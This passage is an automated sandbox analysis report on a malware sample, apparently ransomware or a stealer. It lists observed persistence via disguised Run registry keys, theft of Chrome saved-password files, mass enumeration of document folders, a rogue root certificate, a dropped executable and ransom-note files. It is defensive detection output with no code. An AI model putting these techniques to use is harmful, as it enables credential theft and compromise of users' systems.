Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49227
Source: unknown	Network traffic detected: HTTP traffic on port 49227 -> 443

Boot Survival:

Creates autostart registry keys with suspicious names

Show sources

Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-31-839
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-21-995	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-14-10-28	Jump to behavior

Creates multiple autostart registry keys

Show sources

Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-31-839
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-21-995	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-14-10-28	Jump to behavior

Contains functionality to start windows services

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Code function: 5_2_000000010000E108 StartServiceCtrlDispatcherW,GetLastError,

5_2_000000010000E108

Creates an autostart registry key

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-21-995	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-21-995	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-14-10-28	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-14-10-28	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-31-839
Source: C:\Windows\System32\msiexec.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows\CurrentVersion\Run notepad-2018-5-11-14-13-31-839

Remote Access Functionality:

Contains strings which may be related to BOT commands

Show sources

Source: GAygkOwh9t.exe, 00000004.00000002.16906687970.0000000000757000.00000004.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==2DD10DD9.txt
Source: msiexec.exe, 00000006.00000002.17398062824.0000000000730000.00000002.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==4DE0B309.txt - Notepad
Source: msiexec.exe, 00000006.00000002.17398564898.0000000001ED7000.00000004.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==054ADB54.txt
Source: msiexec.exe, 00000007.00000002.17422929041.0000000001FF7000.00000004.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==0E037E45.txt
Source: msiexec.exe, 00000007.00000002.17422140491.00000000006E0000.00000002.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==4DE0B309.txt - Notepad
Source: msiexec.exe, 0000000A.00000003.17211891165.0000000003477000.00000004.sdmp	String found in binary or memory: ==READ==THIS==PLEASE==4DE0B309.txtb

Stealing of Sensitive Information:

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data.FYnIKNaxjF
Source: C:\Users\user\AppData\Roaming\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal.qTgkoPUfaM
Source: C:\Windows\System32\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal
Source: C:\Windows\System32\msiexec.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Searches for user specific document files

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Roaming\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\Public\Documents
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\TQDFJHPUIU
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\SUAVTZKNFL
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Windows\System32\msiexec.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Show sources

Source: C:\Users\user\AppData\Roaming\msiexec.exe

Directory queried: number of queries: 2184

Persistence and Installation Behavior:

Installs new ROOT certificates

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior
Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe	Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob	Jump to behavior

Drops PE files

Show sources

Source: C:\Users\user\Desktop\plugins\GAygkOwh9t.exe

File created: C:\Users\user\AppData\Roaming\msiexec.exe

Jump to dropped file

Installs a Chrome extension

Show sources

Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\se\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\sl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ru\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ro\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_PT\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\pt_BR\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\no\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\nl\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\lt\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ko\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ja\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\it\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\7_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\vi\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\uk\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\th\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\tr\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sv\==READ==THIS==PLEASE==4DE0B309.txt
Source: C:\Windows\System32\msiexec.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.19_0\_locales\sr\==READ==THIS==PLEASE==4DE0B309.txt
